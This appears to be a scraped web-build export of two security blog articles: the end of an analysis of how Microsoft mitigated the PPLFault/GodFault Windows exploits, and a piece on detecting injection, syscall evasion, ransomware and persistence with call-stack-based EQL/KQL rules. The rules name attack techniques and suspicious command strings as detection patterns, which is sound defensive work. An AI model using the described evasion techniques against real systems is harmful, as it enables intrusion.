\",(0,i.jsx)(e.a,{href:\"https://www.trendmicro.com/vinfo/us/security/definition/zero-day-vulnerability\",rel:\"nofollow\",children:\"zero-day\"}),\" vulnerabilities in Windows: one admin-to-PPL and one PPL-to-kernel. Two exploits for these vulnerabilities were provided named \",(0,i.jsx)(e.a,{href:\"https://github.com/gabriellandau/PPLFault\",rel:\"nofollow\",children:\"PPLFault\"}),\" and \",(0,i.jsx)(e.a,{href:\"https://github.com/gabriellandau/PPLFault#godfault\",rel:\"nofollow\",children:\"GodFault\"}),\", respectively, along with their source code. These exploits allow malware to \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection\",rel:\"nofollow\",children:\"bypass LSA protection\"}),\", terminate or blind EDR software, and modify kernel memory to tamper with core OS behavior - all without the use of any vulnerable drivers. See \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/forget-vulnerable-drivers-admin-is-all-you-need\",rel:\"nofollow\",children:\"this article\"}),\" for more details on their impact.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The admin-to-PPL exploit PPLFault leverages the fact that page hashes are not validated for PPL and employs the \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/_cloudapi/\",rel:\"nofollow\",children:\"Cloud Filter API\"}),\" to violate immutability assumptions of files backing \",(0,i.jsx)(e.strong,{children:\"SEC_IMAGE\"}),\" sections. PPLFault uses paging to inject code into a DLL loaded within a PPL process running as \",(0,i.jsx)(e.strong,{children:\"WinTcb-Light\"}),\", the most privileged form of PPL. The PPL-to-kernel exploit GodFault first uses PPLFault to get \",(0,i.jsx)(e.strong,{children:\"WinTcb-Light\"}),\" code execution, then exploits the kernel\\u2019s trust of \",(0,i.jsx)(e.strong,{children:\"WinTcb-Light\"}),\" processes to modify kernel memory, granting itself full read-write access to physical memory.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Though MSRC \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/forget-vulnerable-drivers-admin-is-all-you-need\",rel:\"nofollow\",children:\"declined\"}),\" to take any action on these vulnerabilities, the Windows Defender team has \",(0,i.jsx)(e.a,{href:\"https://twitter.com/PhilipTsukerman/status/1683861340207607813?s=20\",rel:\"nofollow\",children:\"shown interest\"}),\". PPLFault and GodFault were released at \",(0,i.jsx)(e.a,{href:\"https://www.blackhat.com/asia-23/briefings/schedule/#ppldump-is-dead-long-live-ppldump-31052\",rel:\"nofollow\",children:\"Black Hat Asia\"}),\" in May 2023 alongside a mitigation to stop these exploits called \",(0,i.jsx)(e.a,{href:\"https://github.com/gabriellandau/PPLFault/tree/main/NoFault\",rel:\"nofollow\",children:\"NoFault\"}),\".\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"mitigation\",children:\"Mitigation\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"On September 1, 2023, Microsoft released build 25941 of Windows Insider Canary. This build adds a new check to the memory manager function \",(0,i.jsx)(e.strong,{children:\"MiValidateSectionCreate\"}),\" which enables page hashes for all images that reside on remote devices. Comparing 25941 against its predecessor 25936, we can see the following two new basic blocks:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/inside-microsofts-plan-to-kill-pplfault/Bindiff.jpg\",alt:\"BinDiff comparison of MiValidateSectionCreate in builds 25936 and 25941\",width:\"1358\",height:\"1255\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Decompiled into C, the new code looks like this:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/inside-microsofts-plan-to-kill-pplfault/New-Code-In-IDA.jpg\",alt:\"New check added in Windows build 25941\",width:\"749\",height:\"322\"})}),`\n`,(0,i.jsx)(e.p,{children:\"When PPLFault is run, Windows Error Reporting generates an event log indicating a failure during a paging operation:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/inside-microsofts-plan-to-kill-pplfault/WER-Event-Log.jpg\",alt:\"PPLFault failing in build 25941 with STATUS_IN_PAGE_ERROR (0xC0000006)\",width:\"626\",height:\"499\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"PPLFault requires its payload DLL to be loaded over the SMB network redirector to achieve the desired paging behavior. By forcing the use of page hashes for such network-hosted DLLs, the exploit can no longer inject its payload, so the vulnerability is fixed. The aforementioned \",(0,i.jsx)(e.a,{href:\"https://github.com/gabriellandau/PPLFault/tree/main/NoFault\",rel:\"nofollow\",children:\"NoFault\"}),\" mitigation released at Black Hat also targets network redirectors, blocking such DLL loads into PPL entirely. Elastic Defend 8.9.0 and later block PPLFault - please update if you haven\\u2019t already.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Tracking down the exact point of failure in a kernel debugger, we can see the page fault handler invoking CI to validate page hashes, which fails with \",(0,i.jsx)(e.strong,{children:\"STATUS_INVALID_IMAGE_HASH (0xC0000428)\"}),\". This is later converted to \",(0,i.jsx)(e.strong,{children:\"STATUS_IN_PAGE_ERROR (0xC0000006)\"}),\".\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:\"0: kd\u003e g\\nBreakpoint 1 hit\\nCI!CiValidateImagePages+0x360:\\n0010:fffff805`725028b4 b8280400c0 mov eax,0C0000428h\\n7: kd\u003e k\\n # Child-SP RetAddr Call Site\\n00 fffff508`1b4a6dc0 fffff805`72502487 CI!CiValidateImagePages+0x360\\n01 fffff508`1b4a6f90 fffff805`6f2f1bbd CI!CiValidateImageData+0x27\\n02 fffff508`1b4a6fd0 fffff805`6ee35de5 nt!SeValidateImageData+0x2d\\n03 fffff508`1b4a7020 fffff805`6efa167b nt!MiValidateInPage+0x305\\n04 fffff508`1b4a70d0 fffff805`6ef9fffe nt!MiWaitForInPageComplete+0x31b\\n05 fffff508`1b4a71d0 fffff805`6ef68692 nt!MiIssueHardFault+0x3fe\\n06 fffff508`1b4a72e0 fffff805`6f0a784b nt!MmAccessFault+0x3b2\\n07 fffff508`1b4a7460 00007fff`ccf71500 nt!KiPageFault+0x38b\\n08 000000b6`776bf1b8 00007fff`d5500ac0 0x00007fff`ccf71500\\n09 000000b6`776bf1c0 00000000`00000000 0x00007fff`d5500ac0\\n7: kd\u003e !error C0000428\\nError code: (NTSTATUS) 0xc0000428 (3221226536) - Windows cannot verify the \\n digital signature for this file. A recent hardware or software change \\n might have installed a file that is signed incorrectly or damaged, or \\n that might be malicious software from an unknown source.\\n\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"comparing-behavior\",children:\"Comparing behavior\"}),`\n`,(0,i.jsx)(e.p,{children:\"With the fix introduced in build 25941, the final vulnerable build is 25936. Running PPLFault in both builds under a kernel debugger, we can use the following WinDbg command to see the files for which CI is computing page hashes:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`bp /w \"\u0026CI!CipValidatePageHash == @rcx\" CI!CipValidateImageHash \n \"dt _FILE_OBJECT @r8 FileName; g\"\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"This command generates the following WinDbg output for build 25936, before the fix:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/inside-microsofts-plan-to-kill-pplfault/WinDbg-Output-25936.jpg\",alt:\"Build 25936 using page hashes only for services.exe\",width:\"795\",height:\"158\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Here is the WinDbg output for build 25941, which includes the fix:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/inside-microsofts-plan-to-kill-pplfault/WinDbg-Output-25941.jpg\",alt:\"Build 25941 using page hashes for both services.exe and the PPLFault payload DLL loaded over SMB\",width:\"821\",height:\"200\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Despite taking \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/forget-vulnerable-drivers-admin-is-all-you-need\",rel:\"nofollow\",children:\"longer than it perhaps should\"}),\", it's exciting to see Microsoft taking steps to defend PPL processes (including Anti-Malware) from malware running as admin, and users will benefit if this improvement reaches GA soon. Many features in Insider, even security features, are not available in (and may never reach) GA. Microsoft is very conservative when it comes to changes with potential stability, compatibility, or performance risk; memory manager changes are among the risker types. For example, the PreviousMode kernel exploit mitigation \",(0,i.jsx)(e.a,{href:\"https://twitter.com/GabrielLandau/status/1597001955909697536?s=20\",rel:\"nofollow\",children:\"spotted in Insider last November\"}),\" still hasn\\u2019t reached GA, even after \",(0,i.jsx)(e.em,{children:\"at least\"}),\" 10 months.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsxs)(e.em,{children:[\"Special thanks to \",(0,i.jsx)(e.a,{href:\"https://twitter.com/0gtweet\",rel:\"nofollow\",children:\"Grzegorz Tworek\"}),\" for his help reverse engineering some kernel functions.\"]})})]})}function P(t={}){let{wrapper:e}=t.components||{};return e?(0,i.jsx)(e,Object.assign({},t,{children:(0,i.jsx)(c,t)})):c(t)}var k=P;return y(L);})();\n;return Component;"},"_id":"articles/inside-microsofts-plan-to-kill-pplfault.mdx","_raw":{"sourceFilePath":"articles/inside-microsofts-plan-to-kill-pplfault.mdx","sourceFileName":"inside-microsofts-plan-to-kill-pplfault.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/inside-microsofts-plan-to-kill-pplfault"},"type":"Article","imageUrl":"/assets/images/inside-microsofts-plan-to-kill-pplfault/photo-edited-04@2x.jpg","readingTime":"11 min read","series":"","url":"/inside-microsofts-plan-to-kill-pplfault","headings":[{"level":3,"title":"Loading code into PPL processes","href":"#loading-code-into-ppl-processes"},{"level":3,"title":"Page hashes","href":"#page-hashes"},{"level":3,"title":"Exploitation","href":"#exploitation"},{"level":3,"title":"Mitigation","href":"#mitigation"},{"level":3,"title":"Comparing behavior","href":"#comparing-behavior"},{"level":3,"title":"Conclusion","href":"#conclusion"}],"author":[{"title":"Gabriel Landau","slug":"gabriel-landau","description":"Principal Software Engineer II, Elastic","image":"gabriel-landau.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var i=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var x=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var p=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of d(e))!f.call(t,r)\u0026\u0026r!==n\u0026\u0026i(t,r,{get:()=\u003ee[r],enumerable:!(o=m(e,r))||o.enumerable});return t};var _=(t,e,n)=\u003e(n=t!=null?g(x(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),b=t=\u003es(i({},\"__esModule\",{value:!0}),t);var l=p((F,c)=\u003e{c.exports=_jsx_runtime});var D={};j(D,{default:()=\u003eC,frontmatter:()=\u003eM});var a=_(l()),M={title:\"Gabriel Landau\",description:\"Principal Software Engineer II, Elastic\",image:\"gabriel-landau.jpg\",slug:\"gabriel-landau\"};function u(t){return(0,a.jsx)(a.Fragment,{})}function w(t={}){let{wrapper:e}=t.components||{};return e?(0,a.jsx)(e,Object.assign({},t,{children:(0,a.jsx)(u,t)})):u(t)}var C=w;return b(D);})();\n;return Component;"},"_id":"authors/gabriel-landau.mdx","_raw":{"sourceFilePath":"authors/gabriel-landau.mdx","sourceFileName":"gabriel-landau.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/gabriel-landau"},"type":"Author","imageUrl":"/assets/images/authors/gabriel-landau.jpg","url":"/authors/gabriel-landau"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Peeling back the curtain with call stacks","slug":"peeling-back-the-curtain-with-call-stacks","date":"2023-09-13","description":"In this article, we'll show you how we contextualize rules and events, and how you can leverage call stacks to better understand any alerts you encounter in your environment.","image":"photo-edited-10@2x.jpg","tags":["detection engineering","threat hunting","threat detection"],"body":{"raw":"\n## Introduction\nElastic Defend provides over [550 rules](https://github.com/elastic/protections-artifacts/tree/main/behavior/rules) (and counting) to detect and stop malicious behavior in real time on endpoints. We recently [added kernel call stack enrichments](https://www.elastic.co/security-labs/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks) to provide additional context to events and alerts. Call stacks are a win-win-win for behavioral protections, simultaneously improving false positives, false negatives, and alert explainability. In this article, we'll show you how we achieve all three of these, and how you can leverage call stacks to better understand any alerts you encounter in your environment.\n\n## What is a call stack?\nWhen a thread running function A calls function B, the CPU automatically saves the current instruction’s address (within A) to a thread-specific region of memory called the stack. This saved pointer is known as the return address - it's where execution will resume once the B has finished its job. If B were to call a third function C, then a return address within B will also be saved to the stack. These return addresses can be retrieved through a process known as a [stack walk](https://learn.microsoft.com/en-us/windows/win32/debug/capturestackbacktrace), which reconstructs the sequence of function calls that led to the current thread state. Stack walks list return addresses in reverse-chronological order, so the most recent function is always at the top.\n\nIn Windows, when we double-click on **notepad.exe**, for example, the following series of functions are called: \n\n - The green section is related to base thread initialization performed by the operating system and is usually identical across all operations (file, registry, process, library, etc.)\n - The red section is the user code; it is often composed of multiple modules and provides approximate details of how the process creation operation was reached\n - The blue section is the Win32 and Native API layer; this is operation-specific, including the last 2 to 3 intermediary Windows modules before forwarding the operation details for effective execution in kernel mode\n\nThe following screenshot depicts the call stack for this execution chain:\n\n\n\nHere is an example of file creation using **notepad.exe** where we can see a similar pattern: \n\n - The blue part lists the last user mode intermediary Windows APIs before forwarding the create file operation to kernel mode drivers for effective execution\n - The red section includes functions from **user32.dll** and **notepad.exe**, which indicate that this file operation was likely initiated via GUI\n - The green part represents the initial thread initialization\n \n \n\n## Events Explainability\n\nApart from using call stacks for finding known bad, like [unbacked memory regions](https://www.elastic.co/security-labs/hunting-memory) with RWX permissions that may be the remnants of prior code injection. Call stacks provide very low-level visibility that often reveals greater insights than logs can otherwise provide. \n\nAs an example, while hunting for suspicious process executions started by **WmiPrvSe.exe** via WMI, you find this instance of **notepad.exe**:\n\n\n\nReviewing the standard event log fields, you may expect that it was started using the [Win32_Process](https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/win32-process) class using the **wmic.exe process call create notepad.exe** syntax. However, the event details describe a series of modules and functions: \n\n\n\nThe blue section depicts the standard intermediary **CreateProcess** Windows APIs, while the red section highlights better information in that we can see that the DLL before the first call to **CreateProcessW** is **wbemcons.dll** and when inspecting its properties we can see that it’s related to [WMI Event Consumers](https://learn.microsoft.com/en-us/windows/win32/wmisdk/commandlineeventconsumer). We can conclude that this **notepad.exe** instance is likely related to a WMI Event Subscription. This will require specific incident response steps to mitigate the WMI persistence mechanism.\n\n\n\nAnother great example is Windows scheduled tasks. When executed, they are spawned as children of the Schedule service, which runs within a **svchost.exe** host process. Modern Windows 11 machines may have 50 or more **svchost.exe** processes running. Fortunately, the Schedule service has a specific process argument **-s Schedule** which differentiates it: \n\n\n\nIn older Windows versions, the Scheduled Tasks service is a member of the Network Service group and executed as a component of the **netsvcs** shared **svchost.exe** instance. Not all children of this process are necessarily scheduled tasks in these older versions: \n\n\n\nInspecting the call stack on both versions, we can see the module that is adjacent to the **CreateProcess** call is the same **ubpm.dll** (Unified Background Process Manager DLL) executing the exported function **ubpm.dll!UbpmOpenTriggerConsumer**:\n\n\n\nUsing the following KQL query, we can hunt for task executions on both versions: \n\n```\nevent.action :\"start\" and \nprocess.parent.name :\"svchost.exe\" and process.parent.args : netsvcs and \nprocess.parent.thread.Ext.call_stack_summary : *ubpm.dll* \n```\n\n\n\nAnother interesting example occurs when a user double-clicks a script file from a ZIP archive that was opened using Windows Explorer. Looking at the process tree, you will see that **explorer.exe** is the parent and the child is a script interpreter process like **wscript.exe** or **cmd.exe**. \n\nThis process tree can be confused with a user double-clicking a script file from any location on the file system, which is not very suspicious. But if we inspect the call stack we can see that the parent stack is pointing to **zipfld.dll** (Zipped Folders Shell Extension): \n\n\n\n## Detection Examples \nNow that we have a better idea of how to use the call stack to better interpret events, let’s explore some advanced detection examples per event type.\n\n### Process \n\n#### Suspicious Process Creation via Reflection\n[Dirty Vanity](https://www.deepinstinct.com/blog/dirty-vanity-a-new-approach-to-code-injection-edr-bypass) is a recent code-injection technique that abuses process forking to execute shellcode within a copy of an existing process. When a process is forked, the OS makes a copy of an existing process, including its address space and any [inheritable](https://learn.microsoft.com/en-us/windows/win32/sysinfo/handle-inheritance) handles therein. \n\nWhen executed, Dirty Vanity will fork an instance of a targeted process (already running or a sacrificial one) and then inject into it. Using process creation notification [callbacks](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nc-ntddk-pcreate_process_notify_routine_ex) won’t log forked processes because the forked process initial thread isn’t executed. But in the case of this injection technique, the forked process will be injected and a thread will be started, which triggers the process start event log with the following call stack: \n\n\n\nWe can see the call to **RtlCreateProcessReflection** and **RtlCloneUserProcess** to fork the process. Now we know that this is a forked process, and the next question is “Is this common in normal conditions?” While diagnostically this behavior appears to be common and alone, it is not a strong signal of something malicious. Checking further to see if the forked processes perform any network connections, loads DLLs, or spawns child processes revealed to be less common and made for good detections: \n\n```\n// EQL detecting a forked process spawning a child process - very suspicious\n\nprocess where event.action == \"start\" and\n\ndescendant of \n [process where event.action == \"start\" and \n _arraysearch(process.parent.thread.Ext.call_stack, $entry, \n $entry.symbol_info: \n (\"*ntdll.dll!RtlCreateProcessReflection*\", \n \"*ntdll.dll!RtlCloneUserProcess*\"))] and\n\nnot (process.executable : \n (\"?:\\\\WINDOWS\\\\SysWOW64\\\\WerFault.exe\", \n \"?:\\\\WINDOWS\\\\system32\\\\WerFault.exe\") and\n process.parent.thread.Ext.call_stack_summary : \n \"*faultrep.dll|wersvc.dl*\")\n```\n\n```\n// EQL detecting a forked process loading a network DLL \n// or performs a network connection - very suspicious\n\nsequence by process.entity_id with maxspan=1m\n [process where event.action == \"start\" and\n _arraysearch(process.parent.thread.Ext.call_stack, \n $entry, $entry.symbol_info: \n (\"*ntdll.dll!RtlCreateProcessReflection*\", \n \"*ntdll.dll!RtlCloneUserProcess*\"))]\n [any where\n (\n event.category : (\"network\", \"dns\") or \n (event.category == \"library\" and \n dll.name : (\"ws2_32.dll\", \"winhttp.dll\", \"wininet.dll\"))\n )]\n```\n\nHere’s an example of forking **explore.exe** and executing shellcode that spawns **cmd.exe** from the forked **explorer.exe** instance:\n\n\n\n\n\n### Direct Syscall via Assembly Bytes\nThe second and final example for process events is process creation via direct syscall. This directly uses the syscall instruction instead of calling the **NtCreateProcess** API. Adversaries may use [this method](https://www.ired.team/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs) to avoid security products that are reliant on usermode API hooking (which Elastic Defend is not):\n\n```\nprocess where event.action : \"start\" and \n\n// EQL detecting a call stack not ending with ntdll.dll \nnot process.parent.thread.Ext.call_stack_summary : \"ntdll.dll*\" and \n\n/* last call in the call stack contains bytes that execute a syscall\n manually using assembly \u003cmov r10,rcx, mov eax,ssn, syscall\u003e */\n\n_arraysearch(process.parent.thread.Ext.call_stack, $entry,\n ($entry.callsite_leading_bytes : (\"*4c8bd1b8??????000f05\", \n \"*4989cab8??????000f05\", \"*4c8bd10f05\", \"*4989ca0f05\")))\n```\n \nThis example matches when the final memory region in the call stack is unbacked and contains assembly bytes that end with the syscall instruction (**0F05**):\n\n\n\n## File\n\n### Suspicious Microsoft Office Embedded Object\nThe following rule logic identifies suspicious file extensions written by a Microsoft Office process from an embedded OLE stream, frequently used by malicious documents to drop payloads for initial access.\n\n\n\n```\n// EQL detecting file creation event with call stack indicating \n// OleSaveToStream call to save or load the embedded OLE object\n\nfile where event.action != \"deletion\" and \n\nprocess.name : (\"winword.exe\", \"excel.exe\", \"powerpnt.exe\") and\n\n_arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info:\n (\"*!OleSaveToStream*\", \"*!OleLoad*\")) and\n(\n file.extension : (\"exe\", \"dll\", \"js\", \"vbs\", \"vbe\", \"jse\", \"url\", \n \"chm\", \"bat\", \"mht\", \"hta\", \"htm\", \"search-ms\") or\n\n /* PE \u0026 HelpFile */\n file.Ext.header_bytes : (\"4d5a*\", \"49545346*\")\n )\n```\n\nExample of matches : \n\n\n\n### Suspicious File Rename from Unbacked Memory\nCertain ransomware may inject into signed processes before starting their encryption routine. File rename and modification events will appear to originate from a trusted process, potentially bypassing some heuristics that exclude signed processes as presumed false positives. The following KQL query looks for file rename of documents, from a signed binary and with a suspicious call stack: \n\n```\nfile where event.action : \"rename\" and \n \nprocess.code_signature.status : \"trusted\" and file.extension != null and \n\nfile.Ext.original.name : (\"*.jpg\", \"*.bmp\", \"*.png\", \"*.pdf\", \"*.doc\", \n\"*.docx\", \"*.xls\", \"*.xlsx\", \"*.ppt\", \"*.pptx\") and\n\nnot file.extension : (\"tmp\", \"~tmp\", \"diff\", \"gz\", \"download\", \"bak\", \n\"bck\", \"lnk\", \"part\", \"save\", \"url\", \"jpg\", \"bmp\", \"png\", \"pdf\", \"doc\", \n\"docx\", \"xls\", \"xlsx\", \"ppt\", \"pptx\") and \n\nprocess.thread.Ext.call_stack_summary :\n(\"ntdll.dll|kernelbase.dll|Unbacked\",\n \"ntdll.dll|kernelbase.dll|kernel32.dll|Unbacked\", \n \"ntdll.dll|kernelbase.dll|Unknown|kernel32.dll|ntdll.dll\", \n \"ntdll.dll|kernelbase.dll|Unknown|kernel32.dll|ntdll.dll\", \n \"ntdll.dll|kernelbase.dll|kernel32.dll|Unknown|kernel32.dll|ntdll.dll\", \n \"ntdll.dll|kernelbase.dll|kernel32.dll|mscorlib.ni.dll|Unbacked\", \n \"ntdll.dll|wow64.dll|wow64cpu.dll|wow64.dll|ntdll.dll|kernelbase.dll|\n Unbacked\", \"ntdll.dll|wow64.dll|wow64cpu.dll|wow64.dll|ntdll.dll|\n kernelbase.dll|Unbacked|kernel32.dll|ntdll.dll\", \n \"ntdll.dll|Unbacked\", \"Unbacked\", \"Unknown\")\n ```\n \n Here are some examples of matches where **explorer.exe** (Windows Explorer) is injected by the [KNIGHT/CYCLOPS](https://www.bleepingcomputer.com/news/security/knight-ransomware-distributed-in-fake-tripadvisor-complaint-emails/) ransomware: \n \n \n\n### Executable File Dropped by an Unsigned Service DLL\nCertain types of malware maintain their presence by disguising themselves as Windows service DLLs. To be recognized and managed by the Service Control Manager, a service DLL must export a function named **ServiceMain**. The KQL query below helps identify instances where an executable file is created, and the call stack includes the **ServiceMain** function.\n\n```\nevent.category : file and \n file.Ext.header_bytes :4d5a* and process.name : svchost.exe and \n process.thread.Ext.call_stack.symbol_info :*!ServiceMain*\n```\n\n\n\n## Library\n\n### Unsigned Print Monitor Driver Loaded\nThe following EQL query identifies the loading of an unsigned library by the print spooler service where the call stack indicates the load is coming from **SplAddMonitor**. Adversaries may use [port monitors](https://attack.mitre.org/techniques/T1547/010/) to run an adversary-supplied DLL during system boot for persistence or privilege escalation.\n\n```\nlibrary where\nprocess.executable : (\"?:\\\\Windows\\\\System32\\\\spoolsv.exe\", \n\"?:\\\\Windows\\\\SysWOW64\\\\spoolsv.exe\") and not dll.code_signature.status : \n\"trusted\" and _arraysearch(process.thread.Ext.call_stack, $entry, \n$entry.symbol_info: \"*localspl.dll!SplAddMonitor*\")\n```\n\nExample of match: \n\n\n\n### Potential Library Load via ROP Gadgets\nThis EQL rule identifies the loading of a library from unusual **win32u** or **ntdll** offsets. This may indicate an attempt to bypass API monitoring using Return Oriented Programming (ROP) assembly gadgets to execute a syscall instruction from a trusted module.\n\n```\nlibrary where\n// adversaries try to use ROP gadgets from ntdll.dll or win32u.dll \n// to construct a normal-looking call stack\n\nprocess.thread.Ext.call_stack_summary : (\"ntdll.dll|*\", \"win32u.dll|*\") and \n\n// excluding normal Library Load APIs - LdrLoadDll and NtMapViewOfSection\nnot _arraysearch(process.thread.Ext.call_stack, $entry, \n $entry.symbol_info: (\"*ntdll.dll!Ldr*\", \n \"*KernelBase.dll!LoadLibrary*\", \"*ntdll.dll!*MapViewOfSection*\"))\n```\n\nThis example matches when [AtomLdr](https://www.kitploit.com/2023/06/atomldr-dll-loader-with-advanced.html) loads a DLL using ROP gadgets from **win32u.dll** instead of using **ntdll**’s load library APIs (**LdrLoadDll** and **NtMapViewOfSection**).\n\n\n\n### Evasion via LdrpKernel32 Overwrite\nThe [LdrpKernel32(https://github.com/rbmm/LdrpKernel32DllName) evasion is an interesting technique to hijack the early execution of a process during the bootstrap phase by overwriting the bootstrap DLL name referenced in **ntdll.dll** memory– forcing the process to load a malicious DLL. \n\n```\nlibrary where \n \n// BaseThreadInitThunk must be exported by the rogue bootstrap DLL\n _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info :\n \"*!BaseThreadInitThunk*\") and\n\n// excluding kernel32 that exports normally exports BasethreadInitThunk\nnot _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info\n (\"?:\\\\Windows\\\\System32\\\\kernel32.dll!BaseThreadInitThunk*\", \n \"?:\\\\Windows\\\\SysWOW64\\\\kernel32.dll!BaseThreadInitThunk*\", \n \"?:\\\\Windows\\\\WinSxS\\\\*\\\\kernel32.dll!BaseThreadInitThunk*\", \n \"?:\\\\Windows\\\\WinSxS\\\\Temp\\\\PendingDeletes\\\\*!BaseThreadInitThunk*\", \n \"\\\\Device\\\\*\\\\Windows\\\\*\\\\kernel32.dll!BaseThreadInitThunk*\"))\n```\n\nExample of match: \n\n\n## Suspicious Remote Registry Modification\nSimilar to the scheduled task example, the remote registry service is hosted in **svchost.exe**. We can use the call stack to detect registry modification by monitoring when the Remote Registry service points to an executable or script file. This may indicate an attempt to move laterally via remote configuration changes.\n\n```\nregistry where \n\nevent.action == \"modification\" and \n\nuser.id : (\"S-1-5-21*\", \"S-1-12-*\") and \n\n process.name : \"svchost.exe\" and \n\n// The regsvc.dll in call stack indicate that this is indeed the \n// svchost.exe instance hosting the Remote registry service\n\nprocess.thread.Ext.call_stack_summary : \"*regsvc.dll|rpcrt4.dll*\" and\n\n (\n // suspicious registry values\n registry.data.strings : (\"*:\\\\*\\\\*\", \"*.exe*\", \"*.dll*\", \"*rundll32*\", \n \"*powershell*\", \"*http*\", \"* /c *\", \"*COMSPEC*\", \"\\\\\\\\*.*\") or\n \n // suspicious keys like Services, Run key and COM\n registry.path :\n (\"HKLM\\\\SYSTEM\\\\ControlSet*\\\\Services\\\\*\\\\ServiceDLL\",\n \"HKLM\\\\SYSTEM\\\\ControlSet*\\\\Services\\\\*\\\\ImagePath\",\n \"HKEY_USERS\\\\*Classes\\\\*\\\\InprocServer32\\\\\",\n \"HKEY_USERS\\\\*Classes\\\\*\\\\LocalServer32\\\\\",\n \"H*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\*\") or\n \n // potential attempt to remotely disable a service \n (registry.value : \"Start\" and registry.data.strings : \"4\")\n )\n```\n\nThis example matches when the Run key registry value is modified remotely via the Remote Registry service: \n\n\n\n## Conclusion\nAs we’ve demonstrated, call stacks are not only useful for finding known bad patterns, but also for reducing ambiguity in standard EDR events, and easing behavior interpretation. The examples we've provided here represent just a minor portion of the potential detection possibilities achievable by applying enhanced enrichment to the same dataset.\n","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var w=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),f=(t,e)=\u003e{for(var i in e)r(t,i,{get:e[i],enumerable:!0})},l=(t,e,i,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let s of g(e))!u.call(t,s)\u0026\u0026s!==i\u0026\u0026r(t,s,{get:()=\u003ee[s],enumerable:!(a=p(e,s))||a.enumerable});return t};var 